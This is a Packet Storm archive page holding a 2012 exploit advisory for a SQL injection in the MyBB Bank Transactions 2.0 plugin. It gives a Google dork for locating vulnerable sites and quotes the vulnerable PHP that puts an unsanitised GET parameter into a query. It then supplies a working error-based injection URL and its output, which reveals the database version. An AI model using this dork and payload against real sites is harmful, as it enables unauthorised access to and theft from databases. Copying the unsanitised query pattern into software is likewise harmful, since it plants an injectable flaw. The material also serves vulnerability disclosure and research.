what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

MyBB Bank Transactions 2.0 SQL Injection

MyBB Bank Transactions 2.0 SQL Injection
Posted Dec 18, 2012
Authored by limb0

MyBB Bank Transactions plugin version 2.0 suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | b5222aa3da9434e51331f92cb0cbda2b2fa97e5fbd76eddfa0fe0fd087c25916

MyBB Bank Transactions 2.0 SQL Injection

Change Mirror Download
# Exploit Title: MyBB Bank Transactions Plugin SQL Injection
# Google Dork: inurl:bank.php?transactions=
# Date: 13.12.2012
# Exploit Author: limb0
# Vendor Homepage: http://mods.mybb.com/view/transactions
# Software Link: www.kingofpersia.ir
# Version: 2.0
# Category:Web Security
# Tested on: Linux

================================SQLi==============================
Installation:
1:Download the plugin and copy-paste the files on the right directory
2:Activate the plugin
(On this step maybe you will get an error like:
SQL Error:
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'TYPE=MyISAM DEFAULT CHARSET=utf8' at line 7
This is because of the plugin.Open the bank.php from the /inc/plugins directory and delete this part from every query:
"TYPE=MyISAM DEFAULT CHARSET=utf8".When you click on Activate again everything should work right)

------------------------------------------------------------------

This vulnerability exists on bank.php
Vulnerable lines

$uid=$_GET['transactions'];
$T_ID=1;
$T_ufetch=$db->query("SELECT * FROM ".TABLE_PREFIX."users WHERE uid=$uid ");

-------------------------------------------------------------------

Instructions:
Go to: /bank.php?transactions=[SQLi]
example:
/bank.php?transactions=1+or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)*2))+having+min(0)+or+1--

Result:
1062 - Duplicate entry '5.5.27~1' for key 'group_key'

Proof:http://postimage.org/image/i34m16ejj/



Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    0 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close